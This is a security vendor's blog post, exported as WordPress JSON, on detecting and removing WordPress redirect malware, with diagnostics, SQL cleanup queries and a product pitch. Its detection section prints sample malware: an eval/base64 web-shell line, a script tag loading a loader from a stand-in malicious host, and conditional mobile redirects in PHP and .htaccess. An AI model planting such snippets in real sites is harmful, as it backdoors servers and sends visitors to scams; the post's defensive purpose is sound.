{"id":111,"date":"2026-05-04T10:24:56","date_gmt":"2026-05-04T10:24:56","guid":{"rendered":"https:\/\/www.guardiangaze.com\/blog\/?p=111"},"modified":"2026-05-04T10:24:56","modified_gmt":"2026-05-04T10:24:56","slug":"wordpress-redirect-hack","status":"publish","type":"post","link":"https:\/\/www.guardiangaze.com\/blog\/wordpress-redirect-hack\/","title":{"rendered":"WordPress Redirect Hack: Detect &#038; Remove It (2026 Guide)"},"content":{"rendered":"<p>A <strong>WordPress redirect hack<\/strong> sends your visitors to scam sites, fake pharmacies, sketchy ad networks, or malware downloads, usually only on mobile, only on first visit, or only when arriving from Google. The infection lives in five common places: the active theme&#8217;s <code>header.php<\/code> or <code>functions.php<\/code>, the <code>wp_options<\/code> table, <code>.htaccess<\/code>, injected JavaScript in the database, and increasingly, the <code>mu-plugins<\/code> folder.<\/p>\n<p>The fastest path to a clean fix:<\/p>\n<ol>\n<li><strong>Identify the redirect target: <\/strong>fetch the homepage with <code>curl<\/code> from different User-Agents to see what condition triggers it.<\/li>\n<li><strong>Locate every persistence point: <\/strong>file scanner alone won&#8217;t find the database half.<\/li>\n<li><strong>Remove all of them in the same maintenance window: <\/strong>leaving one means it reinfects within an hour.<\/li>\n<li><strong>Close the original vulnerability<\/strong> before bringing the site back online.<\/li>\n<\/ol>\n<p>Most &#8220;redirect cleanups&#8221; fail because the cleaner only treated the file-resident half. We&#8217;ll cover both halves below.<\/p>\n<h2>Table of Contents<\/h2>\n<ol>\n<li>What is a WordPress redirect hack?<\/li>\n<li>The redirect campaigns dominating 2025\u20132026<\/li>\n<li>How to confirm your site is doing it<\/li>\n<li>Where the redirect code hides<\/li>\n<li>Step-by-step removal protocol<\/li>\n<li>What to do if Google has already blacklisted you<\/li>\n<li>Prevention: stopping reinfection<\/li>\n<li>FAQ<\/li>\n<\/ol>\n<h2>1.What is a WordPress Redirect Hack?<\/h2>\n<p>A WordPress redirect hack is a malware family that sends some or all of your site&#8217;s visitors to a third-party URL chosen by the attacker. The destination is usually one of:<\/p>\n<ul>\n<li>A fake &#8220;your computer is infected&#8221; antivirus page (tech-support scam).<\/li>\n<li>A counterfeit pharmacy (the same family as the <a href=\"https:\/\/www.guardiangaze.com\/blog\/wordpress-pharma-hack\/\">pharma hack<\/a>).<\/li>\n<li>A sweepstakes \/ &#8220;you&#8217;ve won&#8221; prize page.<\/li>\n<li>A login phishing page mimicking Google, Microsoft, or banking sites.<\/li>\n<li>A drive-by download of Windows malware (<code>client32.exe<\/code> and similar trojans).<\/li>\n<li>An adult content page for ad-fraud monetization.<\/li>\n<\/ul>\n<p>Critically, the redirect is almost never <strong>unconditional<\/strong>. The malware decides whether to redirect based on:<\/p>\n<ul>\n<li><strong>User-Agent<\/strong> \u2014 only mobile devices, or only visitors that aren&#8217;t running a security tool.<\/li>\n<li><strong>Referrer<\/strong> \u2014 only visitors arriving from Google, Bing, or social media.<\/li>\n<li><strong>Cookie<\/strong> \u2014 first-visit only, so you can&#8217;t reproduce it on the second click.<\/li>\n<li><strong>Geolocation<\/strong> \u2014 only specific countries.<\/li>\n<li><strong>Login state<\/strong> \u2014 never redirect logged-in users (so the site owner sees nothing).<\/li>\n<\/ul>\n<p>This is why the most common report we get is: <strong><em>&#8220;My customer says the site redirects, but when I check it looks completely fine.&#8221;<\/em><\/strong> You are not mistaken, the malware is simply more effective at hiding from administrators than from regular users.<\/p>\n<h2>2. The Redirect Campaigns Dominating 2025\u20132026<\/h2>\n<p>Knowing which campaign you&#8217;re dealing with helps locate the malware faster. The four big families currently active:<\/p>\n<h3>Balada Injector (still running, evolved)<\/h3>\n<p>The largest WordPress redirect campaign of the last five years. Originally exploited Tag Manager and File Manager plugin vulnerabilities; in 2025\u20132026 it pivoted to exploiting popup, page-builder, and form plugin CVEs. Signature: heavily obfuscated JavaScript injected into theme <code>header.php<\/code> or into post content as <code>&lt;script&gt;<\/code> tags fetching from rotating domains like <code>*.shop<\/code>, <code>*.xyz<\/code>, or <code>*.click<\/code>.<\/p>\n<h3>SocGholish-WP<\/h3>\n<p>The WordPress-flavored variant of the SocGholish framework. Stores its payload in <code>wp_options<\/code> (encrypted blobs) and writes a temporary <code>.php<\/code> file in <code>\/wp-content\/uploads\/<\/code> only at request time, then deletes it. File scanners that run hourly almost never catch it. Redirects mainly target US\/UK\/AU visitors with fake browser-update lures.<\/p>\n<h3>officialwp \/ <code>_hdra_core<\/code> Campaign<\/h3>\n<p>Documented mid-2025. Drops a backdoor in <code>mu-plugins\/wp-index.php<\/code>, stores its payload Base64-encoded under the <code>_hdra_core<\/code> option, and creates a hidden admin user named <code>officialwp<\/code>. Redirects route through ROT13-encoded C2 domains. We covered this campaign in detail in our <a href=\"https:\/\/www.guardiangaze.com\/blog\/wordpress-security-2026-the-complete-defense-guide-against-modern-threats-part-1\/\">WordPress Security 2026 Part 1<\/a>.<\/p>\n<h3>&#8220;Push Notification&#8221; \/ Adware Redirects<\/h3>\n<p>Redirects to a chain of pages that ask the visitor to &#8220;click Allow&#8221; for browser notifications, then bombard them with ads and scam offers indefinitely. Usually injected as a single <code>&lt;script src=\"https:\/\/[bad-domain]\/push.js\"&gt;<\/code> in <code>header.php<\/code>, often immediately before the closing <code>&lt;\/head&gt;<\/code>.<\/p>\n<p>If you&#8217;ve identified your campaign from the description above, jump to the relevant persistence points in section 4. If not, continue with the diagnostic steps.<\/p>\n<h2>3. How to Confirm Your Site is Doing the Redirect<\/h2>\n<p>Run these checks. Each one targets a different cloaking trigger.<\/p>\n<h3>Check 1: Mobile-only redirect<\/h3>\n<p>Open your site on your phone using mobile data (not Wi-Fi \u2014 your home Wi-Fi may be whitelisted by an attacker who sees you visit often). If the mobile version redirects but desktop doesn&#8217;t, you have the User-Agent-conditional variant.<\/p>\n<h3>Check 2: Search-referrer redirect<\/h3>\n<p>In Chrome DevTools (F12 \u2192 <em>Network<\/em> tab \u2192 enable <em>Preserve log<\/em>), go to Google, search your brand name, click the result. Watch for a 302 redirect away from your domain. Many redirect hacks only fire when the referrer is <code>google.com<\/code>.<\/p>\n<h3>Check 3: First-visit-only redirect<\/h3>\n<p>Open your site in an Incognito window. The first visit may redirect; subsequent visits in the same session won&#8217;t. The malware sets a cookie marking you as &#8220;already shown&#8221; so you can&#8217;t reproduce.<\/p>\n<h3>Check 4: <code>curl<\/code> with different User-Agents<\/h3>\n<pre><code class=\"language-bash\"># As Googlebot\r\ncurl -sIL -A \"Mozilla\/5.0 (compatible; Googlebot\/2.1)\" https:\/\/yourdomain.com\/\r\n\r\n# As iPhone\r\ncurl -sIL -A \"Mozilla\/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit\/605.1.15\" https:\/\/yourdomain.com\/\r\n\r\n# As a Windows desktop visitor from Google\r\ncurl -sIL -A \"Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\" \\\r\n     -e \"https:\/\/www.google.com\/search?q=yourdomain\" \\\r\n     https:\/\/yourdomain.com\/\r\n<\/code><\/pre>\n<p>The <code>-IL<\/code> flags follow redirects and show every hop. If any of these show a <code>Location:<\/code> header pointing to a domain you don&#8217;t own, that&#8217;s your redirect.<\/p>\n<h3>Check 5: JavaScript redirect (the most common 2026 variant)<\/h3>\n<p>Server-level redirects show up in <code>curl<\/code>. JavaScript redirects don&#8217;t. To find those:<\/p>\n<pre><code class=\"language-bash\"># Pull the page with curl and grep for suspicious script srcs\r\ncurl -sL -A \"Mozilla\/5.0 (iPhone)\" https:\/\/yourdomain.com\/ \\\r\n  | grep -oE '&lt;script[^&gt;]*src=\"[^\"]+\"' \\\r\n  | sort -u\r\n<\/code><\/pre>\n<p>Cross-reference each <code>src<\/code> against the list of scripts you actually loaded. Anything with random subdomains (<code>a8f3.click<\/code>, <code>cdn-tracker.shop<\/code>) is malicious.<\/p>\n<h3>Check 6: Search Console security report<\/h3>\n<p>In Google Search Console \u2192 <em>Security &amp; Manual Actions \u2192 Security issues<\/em>. Common entries on a redirect-hacked site:<\/p>\n<ul>\n<li>&#8220;Hacked: malware&#8221;<\/li>\n<li>&#8220;Social engineering content&#8221;<\/li>\n<li>&#8220;Harmful programs&#8221;<\/li>\n<li>&#8220;Hacked: code injection&#8221;<\/li>\n<\/ul>\n<p>Any of these means Google has already detected the redirect and is showing the &#8220;this site may harm your computer&#8221; warning to visitors.<\/p>\n<h2>4. Where the Redirect Code Hides<\/h2>\n<p>Modern redirect malware uses redundant persistence. You need to clean every one of these locations or the redirect rebuilds itself within minutes.<\/p>\n<h3>Location 1: Active theme files<\/h3>\n<pre><code class=\"language-bash\"># Most common: header.php and functions.php in the active theme\r\nls -la \/var\/www\/yoursite\/wp-content\/themes\/your-theme\/{header,footer,functions,index}.php\r\n<\/code><\/pre>\n<p>Look at the <strong>top<\/strong> and <strong>bottom<\/strong> of each file. Malware loves to inject just before <code>&lt;?php<\/code> or just after <code>?&gt;<\/code>. Open in an editor that <strong>shows whitespace<\/strong> \u2014 attackers pad spam with thousands of spaces or hide it after a long blank line so it&#8217;s invisible in standard editors.<\/p>\n<p>Common patterns:<\/p>\n<pre><code class=\"language-php\">\/\/ Variant A: server-side redirect at top of header.php\r\n&lt;?php @eval(base64_decode($_REQUEST['cmd'] ?? '')); ?&gt;\r\n\r\n\/\/ Variant B: injected JS just before &lt;\/head&gt;\r\n&lt;script src=\"https:\/\/a8f3.click\/loader.js\" type=\"text\/javascript\"&gt;&lt;\/script&gt;\r\n\r\n\/\/ Variant C: conditional redirect via wp_head hook\r\nadd_action('wp_head', function() {\r\n    if (preg_match('\/(iphone|android|mobile)\/i', $_SERVER['HTTP_USER_AGENT'])) {\r\n        echo '&lt;meta http-equiv=\"refresh\" content=\"0;url=https:\/\/malicious-redirect.shop\"&gt;';\r\n    }\r\n});\r\n<\/code><\/pre>\n<h3>Location 2: <code>wp_options<\/code> table (the most-missed location)<\/h3>\n<pre><code class=\"language-sql\">-- Look for encoded payloads in wp_options\r\nSELECT option_name, LENGTH(option_value) AS size\r\nFROM wp_options\r\nWHERE LENGTH(option_value) &gt; 5000\r\nORDER BY size DESC\r\nLIMIT 20;\r\n\r\n-- Look specifically for redirect-flavored garbage\r\nSELECT option_name FROM wp_options\r\nWHERE option_value LIKE '%base64_decode%'\r\n   OR option_value LIKE '%window.location%'\r\n   OR option_value LIKE '%http_referer%'\r\n   OR option_value LIKE '%str_rot13%';\r\n<\/code><\/pre>\n<p>In 2025\u20132026 campaigns we routinely see encoded payloads stored under names that mimic legitimate options: <code>_transient_jquery_cache<\/code>, <code>widget_recent_posts_data<\/code>, <code>_wp_meta_cache<\/code>, <code>theme_mod_optimization<\/code>. Anything with <code>eval<\/code>, <code>base64_decode<\/code>, or <code>http:\/\/<\/code> inside <code>option_value<\/code> is a red flag.<\/p>\n<h3>Location 3: <code>.htaccess<\/code> redirects<\/h3>\n<pre><code class=\"language-bash\"># Show the top of every .htaccess on the server\r\nfind \/var\/www\/yoursite\/ -name .htaccess -exec head -50 {} \\;\r\n<\/code><\/pre>\n<p>Look for <code>RewriteRule<\/code> lines pointing to external domains, or <code>Redirect 301<\/code> directives you didn&#8217;t write. Modern attackers also inject conditional rewrites that only fire for crawlers or mobile UAs:<\/p>\n<pre><code class=\"language-apache\">RewriteCond %{HTTP_USER_AGENT} \"(iPhone|Android|Mobile)\" [NC]\r\nRewriteRule ^(.*)$ https:\/\/malicious-redirect.shop\/landing [R=302,L]\r\n<\/code><\/pre>\n<h3>Location 4: Database-injected JavaScript in posts<\/h3>\n<pre><code class=\"language-sql\">-- Find posts with injected scripts\r\nSELECT ID, post_title, post_status\r\nFROM wp_posts\r\nWHERE post_content REGEXP '&lt;script[^&gt;]*src=[\"\\047]https?:\/\/[^\"\\047]+\\.(shop|click|xyz|top|fun|live)'\r\n   OR post_content REGEXP 'window\\.location\\s*=\\s*[\"\\047]https?:\/\/';\r\n<\/code><\/pre>\n<p>Attackers love the <code>.shop<\/code>, <code>.click<\/code>, <code>.xyz<\/code>, <code>.top<\/code>, <code>.fun<\/code>, and <code>.live<\/code> TLDs because they&#8217;re cheap and unmonitored. Any <code>&lt;script&gt;<\/code> tag in your post content that you didn&#8217;t add is malicious until proven otherwise.<\/p>\n<h3>Location 5: The <code>mu-plugins<\/code> folder<\/h3>\n<pre><code class=\"language-bash\">ls -la \/var\/www\/yoursite\/wp-content\/mu-plugins\/\r\n<\/code><\/pre>\n<p><code>mu-plugins<\/code> (must-use plugins) load on every page request and <strong>cannot be deactivated<\/strong> through the WordPress admin. Most installs have nothing in this folder by default. If yours has files you don&#8217;t recognize, every one of them is suspicious. The 2025 officialwp campaign drops <code>wp-index.php<\/code> here as its primary loader.<\/p>\n<h3>Location 6: Plugin and theme files outside the active theme<\/h3>\n<pre><code class=\"language-bash\"># PHP files anywhere they shouldn't be\r\nfind \/var\/www\/yoursite\/wp-content\/uploads\/ -name \"*.php\"\r\nfind \/var\/www\/yoursite\/wp-includes\/ -name \"*.php\" -newer \/var\/www\/yoursite\/wp-config.php\r\nfind \/var\/www\/yoursite\/ -name \"wp-*.php\" -not -path \"*\/wp-includes\/*\" -not -path \"*\/wp-admin\/*\"\r\n<\/code><\/pre>\n<p>PHP files in <code>\/wp-content\/uploads\/<\/code> are <strong>always<\/strong> malware \u2014 uploads should never contain executable code. Files named like <code>wp-cache.php<\/code>, <code>wp-handler.php<\/code>, or <code>wp-init.php<\/code> in unusual directories are usually backdoors disguising themselves as core files.<\/p>\n<h3>Location 7: Cron jobs<\/h3>\n<pre><code class=\"language-bash\">wp cron event list\r\n<\/code><\/pre>\n<p>Or in SQL:<\/p>\n<pre><code class=\"language-sql\">SELECT option_value FROM wp_options WHERE option_name = 'cron';\r\n<\/code><\/pre>\n<p>Look for hook names you don&#8217;t recognize. Malware loves to schedule itself hourly or daily to rebuild persistence. Common names: <code>gg_pharma_reinstall<\/code>, <code>wp_check_remote<\/code>, <code>theme_optimization_run<\/code>.<\/p>\n<h3>Location 8: Hidden admin users<\/h3>\n<pre><code class=\"language-sql\">SELECT u.ID, u.user_login, u.user_email, u.user_registered\r\nFROM wp_users u\r\nINNER JOIN wp_usermeta m ON u.ID = m.user_id\r\nWHERE m.meta_key = 'wp_capabilities'\r\n  AND m.meta_value LIKE '%administrator%'\r\nORDER BY u.user_registered DESC;\r\n<\/code><\/pre>\n<p>Any administrator you don&#8217;t recognize, especially one created within the same week the redirect started, is the attacker&#8217;s foothold.<\/p>\n<h2>5. Step-by-step Redirect Hack Removal Protocol<\/h2>\n<p>These steps are sequential. Do all of them in one maintenance window.<\/p>\n<h3>Step 0 \u2014 Take a snapshot of the infected state<\/h3>\n<pre><code class=\"language-bash\">tar -czf infected-files-$(date +%Y%m%d-%H%M).tar.gz \/var\/www\/yoursite\/\r\nmysqldump -u root -p yoursite_db &gt; infected-db-$(date +%Y%m%d-%H%M).sql\r\n<\/code><\/pre>\n<p>Label clearly as <strong>infected<\/strong>. You&#8217;ll need it for forensics if anything goes wrong, and you should never restore from it.<\/p>\n<h3>Step 1 \u2014 Maintenance mode<\/h3>\n<pre><code class=\"language-bash\">wp maintenance-mode activate\r\n<\/code><\/pre>\n<p>This stops the redirect from being served while you clean.<\/p>\n<h3>Step 2 \u2014 Replace WordPress core<\/h3>\n<pre><code class=\"language-bash\"># Save what you need to keep\r\ncp wp-config.php \/tmp\/wp-config.php.safe\r\ncp -r wp-content\/uploads \/tmp\/uploads.safe\r\n\r\nwp core download --force --skip-content\r\n<\/code><\/pre>\n<h3>Step 3 \u2014 Replace every plugin and theme<\/h3>\n<pre><code class=\"language-bash\"># Reinstall everything from clean sources\r\nwp plugin list --field=name | xargs -I {} wp plugin install {} --force\r\nwp theme list --field=name | xargs -I {} wp theme install {} --force\r\n<\/code><\/pre>\n<p>If you have any <strong>nulled<\/strong> or <strong>pirated<\/strong> plugins\/themes \u2014 delete them. They are the most common single entry point.<\/p>\n<h3>Step 4 \u2014 Delete the entire <code>mu-plugins<\/code> directory<\/h3>\n<p>Unless you knowingly installed something there:<\/p>\n<pre><code class=\"language-bash\">rm -rf \/var\/www\/yoursite\/wp-content\/mu-plugins\/\r\nmkdir \/var\/www\/yoursite\/wp-content\/mu-plugins\/\r\n<\/code><\/pre>\n<h3>Step 5 \u2014 Clean <code>.htaccess<\/code> and <code>wp-config.php<\/code><\/h3>\n<p>Replace <code>.htaccess<\/code> with the WordPress default:<\/p>\n<pre><code class=\"language-apache\"># BEGIN WordPress\r\n&lt;IfModule mod_rewrite.c&gt;\r\nRewriteEngine On\r\nRewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]\r\nRewriteBase \/\r\nRewriteRule ^index\\.php$ - [L]\r\nRewriteCond %{REQUEST_FILENAME} !-f\r\nRewriteCond %{REQUEST_FILENAME} !-d\r\nRewriteRule . \/index.php [L]\r\n&lt;\/IfModule&gt;\r\n# END WordPress\r\n<\/code><\/pre>\n<p>In <code>wp-config.php<\/code>, anything outside the <code>&lt;?php<\/code> block, anywhere there&#8217;s an <code>eval()<\/code>, <code>base64_decode()<\/code>, or <code>gzinflate()<\/code>, is malicious. Restore the file from a known-good backup if you have one.<\/p>\n<h3>Step 6 \u2014 Clean the database<\/h3>\n<pre><code class=\"language-sql\">-- Remove suspicious encoded options (review the list before running DELETE)\r\nSELECT option_name, LENGTH(option_value) FROM wp_options\r\nWHERE LENGTH(option_value) &gt; 50000 OR option_value LIKE '%eval(%';\r\n\r\n-- After you've verified each one is malicious:\r\nDELETE FROM wp_options WHERE option_name IN (\r\n    '_hdra_core', '_wp_core_cache',\r\n    'theme_mod_optimization', 'widget_jquery_cache'\r\n    -- add yours from the SELECT\r\n);\r\n\r\n-- Strip injected scripts from posts\r\nUPDATE wp_posts\r\nSET post_content = REGEXP_REPLACE(\r\n    post_content,\r\n    '&lt;script[^&gt;]*src=\"https?:\/\/[^\"]*\\.(shop|click|xyz|top|fun|live)\/[^\"]*\"[^&gt;]*&gt;&lt;\/script&gt;',\r\n    ''\r\n)\r\nWHERE post_content REGEXP '&lt;script[^&gt;]*\\.(shop|click|xyz|top|fun|live)';\r\n\r\n-- Strip JS-redirects from posts\r\nUPDATE wp_posts\r\nSET post_content = REGEXP_REPLACE(\r\n    post_content,\r\n    '&lt;script[^&gt;]*&gt;[^&lt;]*window\\.location[^&lt;]*&lt;\/script&gt;',\r\n    ''\r\n)\r\nWHERE post_content LIKE '%window.location%';\r\n\r\n-- Cron events\r\nSELECT option_value FROM wp_options WHERE option_name = 'cron';\r\n-- After identifying rogue hooks:\r\n-- wp cron event delete &lt;hook_name&gt;\r\n<\/code><\/pre>\n<h3>Step 7 \u2014 Remove unauthorized admins<\/h3>\n<pre><code class=\"language-sql\">-- List all administrators\r\nSELECT u.ID, u.user_login, u.user_email, u.user_registered, m.meta_value\r\nFROM wp_users u\r\nINNER JOIN wp_usermeta m ON u.ID = m.user_id\r\nWHERE m.meta_key = 'wp_capabilities' AND m.meta_value LIKE '%administrator%';\r\n\r\n-- Delete the rogue ones (replace 999 with the actual ID)\r\nDELETE FROM wp_users WHERE ID = 999;\r\nDELETE FROM wp_usermeta WHERE user_id = 999;\r\nDELETE FROM wp_posts WHERE post_author = 999;\r\n<\/code><\/pre>\n<h3>Step 8 \u2014 Rotate every credential<\/h3>\n<pre><code class=\"language-bash\"># Reset every WordPress user's password\r\nwp user list --field=ID | xargs -I {} wp user reset-password {}\r\n<\/code><\/pre>\n<p>Also rotate: database password (update both MySQL user and <code>wp-config.php<\/code>), SFTP\/SSH passwords or keys, hosting control panel password, every API key the site uses.<\/p>\n<h3>Step 9 \u2014 Generate fresh salts<\/h3>\n<pre><code class=\"language-bash\">curl https:\/\/api.wordpress.org\/secret-key\/1.1\/salt\/\r\n<\/code><\/pre>\n<p>Replace the entire <code>AUTH_KEY<\/code>\/<code>SECURE_AUTH_KEY<\/code>\/etc. block in <code>wp-config.php<\/code> with the output. This invalidates every session cookie on the site, including any the attacker held.<\/p>\n<h3>Step 10 \u2014 Verify with a server-side scan<\/h3>\n<p>A plugin scanner running inside WordPress is the wrong tool to verify cleanup, because the same in-process problem applies. Use a server-side check:<\/p>\n<pre><code class=\"language-bash\"># Quick external scan for obfuscation indicators\r\ngrep -rEln \"eval\\s*\\(|base64_decode|str_rot13|gzinflate\" \/var\/www\/yoursite\/ \\\r\n  | grep -vE \"(wp-includes|vendor|node_modules)\/\"\r\n\r\n# Verify no PHP files in uploads\r\nfind \/var\/www\/yoursite\/wp-content\/uploads\/ -name \"*.php\"\r\n\r\n# Verify mu-plugins is empty\r\nls -la \/var\/www\/yoursite\/wp-content\/mu-plugins\/\r\n<\/code><\/pre>\n<p>If any of these return results, repeat steps 2\u20137 \u2014 you missed something.<\/p>\n<h3>Step 11 \u2014 Re-test the redirect<\/h3>\n<p>Repeat the diagnostic checks from section 3 \u2014 different User-Agents, different referrers, mobile, incognito. The redirect should be gone in <strong>all<\/strong> conditions. If even one combination still redirects, the malware is still on the server somewhere.<\/p>\n<h3>Step 12 \u2014 Take the site out of maintenance mode<\/h3>\n<pre><code class=\"language-bash\">wp maintenance-mode deactivate\r\n<\/code><\/pre>\n<h2>6. What to Do if Google Has Already Blacklisted You<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-112 aligncenter\" src=\"https:\/\/www.guardiangaze.com\/blog\/wp-content\/uploads\/2026\/05\/Harm.png\" alt=\"\" width=\"600\" height=\"301\" srcset=\"https:\/\/www.guardiangaze.com\/blog\/wp-content\/uploads\/2026\/05\/Harm.png 600w, https:\/\/www.guardiangaze.com\/blog\/wp-content\/uploads\/2026\/05\/Harm-300x151.png 300w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/p>\n<p>If visitors see &#8220;This site may harm your computer&#8221; or &#8220;Deceptive site ahead&#8221; \u2014 your site is on Google&#8217;s Safe Browsing blacklist. Removal:<\/p>\n<h3>1. Clean the site completely<\/h3>\n<p>You cannot request a review until the site is genuinely clean. Run section 5 in full first.<\/p>\n<h3>2. Verify in Google Search Console<\/h3>\n<p>If you haven&#8217;t verified your site, do that now using a DNS TXT record (the most resilient verification method).<\/p>\n<h3>3. Submit a security review<\/h3>\n<p>In Search Console \u2192 <em>Security &amp; Manual Actions \u2192 Security issues \u2192 Request review<\/em>. Include:<\/p>\n<ul>\n<li>A short description of what was wrong (e.g., &#8220;redirect malware injected via outdated plugin&#8221;).<\/li>\n<li>The specific cleanup steps you took.<\/li>\n<li>The prevention measures now in place (server-side scanning, virtual patching, plugin updates).<\/li>\n<\/ul>\n<p>Reviews typically take 24\u201372 hours for redirect hacks, longer for repeat offenders.<\/p>\n<h3>4. Recover SEO<\/h3>\n<p>Once delisted, your search rankings will start recovering. Expect:<\/p>\n<ul>\n<li>Day 1\u20137: warning removed from SERPs.<\/li>\n<li>Week 1\u20134: impressions begin returning to normal.<\/li>\n<li>Month 1\u20133: rankings recover for most keywords.<\/li>\n<li>Month 3\u20136: full recovery for competitive keywords (if at all \u2014 repeated infections cause permanent rank loss).<\/li>\n<\/ul>\n<p>We covered the SEO recovery process in detail in our post on <a href=\"https:\/\/www.guardiangaze.com\/blog\/wordpress-security-what-most-site-owners-miss\/\">what most site owners miss about WordPress security<\/a>.<\/p>\n<h2>7. Prevention: Stopping Reinfection<\/h2>\n<p>The reinfection rate for WordPress redirect hacks is <strong>roughly 60% within 30 days<\/strong> of cleanup, almost always due to one of these four root causes:<\/p>\n<h3>1. The original entry point was never closed<\/h3>\n<p>Removing the redirect malware without patching or removing the vulnerable plugin guarantees reinfection. After cleanup, audit:<\/p>\n<ul>\n<li>Every plugin in WPScan&#8217;s <a href=\"https:\/\/wpscan.com\/plugins\/\">vulnerability database<\/a>.<\/li>\n<li>Plugins not updated in 6+ months (likely abandoned and likely vulnerable).<\/li>\n<li>Plugins where the author&#8217;s last release was 6+ months ago (same problem, even if you&#8217;re &#8220;up to date&#8221;).<\/li>\n<\/ul>\n<h3>2. Cleanup left the database loader behind<\/h3>\n<p>If you removed the JavaScript injection from theme files but left the encoded loader in <code>wp_options<\/code>, the cron rebuilds the JavaScript hourly. This is the single most common cleanup failure mode.<\/p>\n<h3>3. No virtual patching for the next zero-day<\/h3>\n<p>Plugin vulnerabilities are disclosed daily. Attackers scan for vulnerable installs within four hours of disclosure; official patches arrive 7\u201314 days later. Virtual patching at the WAF layer closes this gap by blocking exploitation patterns before the official fix.<\/p>\n<h3>4. Compromised hosting account<\/h3>\n<p>If your hosting password is in any breach (check at <a href=\"https:\/\/haveibeenpwned.com\/\">haveibeenpwned.com<\/a>), attackers can reinfect at the hosting level no matter how clean your WordPress install is. Rotate hosting credentials and enable 2FA at the host.<\/p>\n<h3>A redirect-prevention checklist<\/h3>\n<ul>\n<li>Server-side malware scanning (runs outside WordPress, malware can&#8217;t tamper with it).<\/li>\n<li>WAF with virtual patching for the top plugin CVEs.<\/li>\n<li>2FA on every administrator account.<\/li>\n<li>Auto-updates for security releases (with a 72-hour delay to avoid bad updates).<\/li>\n<li>PHP execution disabled in <code>\/wp-content\/uploads\/<\/code>.<\/li>\n<li><code>DISALLOW_FILE_EDIT<\/code> and <code>DISALLOW_FILE_MODS<\/code> in <code>wp-config.php<\/code>.<\/li>\n<li>Daily off-server backups, tested by restore quarterly.<\/li>\n<li>Database scanning enabled (most plugins skip this).<\/li>\n<li>Hidden-admin-user detection enabled.<\/li>\n<li>Quarterly plugin\/theme audit \u2014 remove anything unmaintained.<\/li>\n<li>Every nulled\/pirated plugin or theme deleted.<\/li>\n<\/ul>\n<p>GuardianGaze ships these by default. If you&#8217;ve cleaned a redirect hack once, the prevention layer is what stops the second one. <a href=\"https:\/\/wordpress.org\/plugins\/guardian-gaze\/\">Get the free plugin<\/a> or <a href=\"https:\/\/www.guardiangaze.com\/subscription\/\">see the paid plans<\/a>.<\/p>\n<h2>8. Frequently asked questions<\/h2>\n<p><strong>Why does my WordPress site redirect on mobile but not on desktop?<\/strong><\/p>\n<p>The malware checks the User-Agent and only redirects mobile visitors. Mobile traffic is more profitable for ad-fraud and tech-support-scam landing pages because mobile users have fewer ad blockers and are easier to trick into installing malicious &#8220;fix it&#8221; apps.<\/p>\n<p><strong>My site redirects only when I arrive from Google. Why?<\/strong><\/p>\n<p>Referrer-based cloaking. The malware checks <code>$_SERVER['HTTP_REFERER']<\/code> and redirects only when it matches <code>google.*<\/code>, <code>bing.com<\/code>, or social-media domains. The goal is to maximize redirects from organic search traffic (the most valuable kind for the attacker) while avoiding detection by site owners and direct visitors.<\/p>\n<p><strong>The redirect goes away when I&#8217;m logged in. Is the site still infected?<\/strong><\/p>\n<p>Yes. Many redirect hacks explicitly skip logged-in users so the site owner sees no problem. Test in incognito mode while logged out, or use <code>curl<\/code> with no cookies.<\/p>\n<p><strong>I removed the redirect from <code>header.php<\/code> but it came back. Why?<\/strong><\/p>\n<p>The malware lives in multiple places. Common scenarios: the database loader rebuilt the file via cron (every hour), a <code>mu-plugins<\/code> file regenerated it, or a backdoor PHP file in <code>\/wp-content\/uploads\/<\/code> was triggered by an HTTP request from the attacker. Run the full removal protocol in section 5 \u2014 partial cleanups always reinfect.<\/p>\n<p><strong>Can a security plugin protect me from redirect hacks?<\/strong><\/p>\n<p>File-based scanners catch the file-resident half of the infection but miss the database half. Plugins that run inside WordPress can also be tampered with by sophisticated malware. The architecture that reliably blocks redirect hacks is server-side scanning combined with WAF-level virtual patching that runs outside the WordPress PHP process.<\/p>\n<p><strong>Will Google warn visitors about my redirect-hacked site?<\/strong><\/p>\n<p>Usually within 1\u20137 days of the redirect appearing, Google&#8217;s Safe Browsing service flags the site. Visitors using Chrome, Firefox, or Safari then see a red full-page warning. Removal of the warning requires both a clean site and a successful security review through Search Console.<\/p>\n<p><strong>How did the redirect get on my site?<\/strong><\/p>\n<p>The most common 2025\u20132026 entry points: an outdated plugin with a known CVE (60% of cases), a nulled or pirated plugin\/theme (20%), brute-forced admin password (10%), and cross-contamination from a neighboring site on shared hosting (10%).<\/p>\n<p><strong>How long does it take for SEO to recover after a redirect hack?<\/strong><\/p>\n<p>For sites caught and cleaned within 14 days: most rankings recover within a month. For sites infected for 3+ months: 3\u20136 months typical recovery. For repeated infections: some keyword positions never recover. Speed of recovery is the strongest argument for prevention over reaction.<\/p>\n<h2>Continue Reading<\/h2>\n<ul>\n<li><a href=\"https:\/\/www.guardiangaze.com\/blog\/wordpress-hacked-signs-and-fix\/\">Website Hacked? 17 Signs Your WordPress Site Is Compromised<\/a> \u2014 early-warning checklist.<\/li>\n<li><a href=\"https:\/\/www.guardiangaze.com\/blog\/wordpress-pharma-hack\/\">WordPress Pharma Hack: Detection, Removal &amp; Prevention<\/a> \u2014 the cousin of the redirect hack, with overlapping cleanup steps.<\/li>\n<li><a href=\"https:\/\/www.guardiangaze.com\/blog\/wordpress-malware-removal-2026-complete-detection-removal-protocols\/\">WordPress Malware Removal 2026: Complete Detection &amp; Removal Protocols<\/a> \u2014 the broader removal playbook.<\/li>\n<\/ul>\n<p><strong>Stop the next redirect before it lands.<\/strong> GuardianGaze&#8217;s server-side scanning and virtual patching catch redirect malware that ordinary plugins miss. <a href=\"https:\/\/wordpress.org\/plugins\/guardian-gaze\/\">Install the free plugin<\/a> or <a href=\"https:\/\/www.guardiangaze.com\/subscription\/\">view the paid plans<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A WordPress redirect hack sends your visitors to scam sites, fake pharmacies, sketchy ad networks, or malware downloads, usually only on 